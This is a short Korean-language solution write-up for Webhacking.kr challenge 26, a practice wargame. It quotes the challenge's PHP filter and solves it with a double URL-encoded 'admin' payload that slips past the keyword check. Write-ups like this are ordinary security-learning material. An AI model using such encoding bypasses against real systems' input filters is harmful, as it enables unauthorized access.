[Web_Hacking] Webhacking.kr 26

26번은 index.phps만 있는데 들어가보면

<? 

if(eregi("admin",$_GET[id])) { echo("<p>no!"); exit(); } 

$_GET[id]=urldecode($_GET[id]); 

if($_GET[id]=="admin") 
{ 
@solve(26,100); 
} 

?>

id가 그냥 admin일땐 no!

URL인코딩을 해야하는 것 같다.

id값을 한 번 디코딩 했을때 비교를 해서 admin이 되려면 2번 인코딩 해줘야한다.

한번 인코딩 : %61%64%6D%69%6E

두번 인코딩 : %2561%2564%256D%2569%256E

?id=%2561%2564%256D%2569%256E 해주면 풀린다.